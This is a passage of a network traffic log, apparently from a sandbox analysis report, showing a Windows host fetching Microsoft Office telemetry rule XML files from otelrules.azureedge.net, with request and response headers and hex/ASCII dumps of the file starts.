2024-11-20 05:40:35 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.5	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:36 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:36 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:36 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054036Z-185f5d8b95c95vpshC1NYC759c00000009x0000000000r43 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 05:40:36 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.5	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:36 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:36 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:36 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: ce1429b8-d01e-005a-2df1-3a7fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054036Z-185f5d8b95csd4bwhC1NYCq7dc00000009p000000000m75m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 05:40:36 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:36 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:36 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:36 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054036Z-1777c6cb754j8gqphC1TEB5bf80000000940000000006293 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:36 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:36 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:36 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:36 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c9275c76-a01e-000d-7b8c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054036Z-1777c6cb754rz2pghC1TEBghen00000008z000000000mg7h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:36 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:36 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:36 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:36 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054036Z-1777c6cb754wcxkwhC1TEB3c6w0000000960000000000msp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:36 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:36 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:36 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 073920b7-a01e-0032-4c8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054036Z-1777c6cb754gvvgfhC1TEBz4rg00000009800000000072km x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:37 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:36 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:37 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:36 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054036Z-r1d97b99577sdxndhC1TEBec5n00000008f000000000gtud x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:37 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:36 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:37 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3044792c-001e-005a-088c-3ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054037Z-185f5d8b95cdcwrthC1NYCy5b800000009q000000000n5eu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:37 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:36 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:37 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054037Z-r1d97b99577mrt4rhC1TEBftkc00000008b00000000075r5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:37 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:36 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:37 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 6d560277-a01e-0050-158c-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054037Z-185f5d8b95c5lcmhhC1NYCsnsw00000009y0000000003x8w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:37 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 05:40:37 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 05:40:37 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 05:40:37 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c3eb962b-701e-003e-438c-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T054037Z-185f5d8b95c96jn4hC1NYCbgp800000009r000000000p0u4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 05:40:37 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
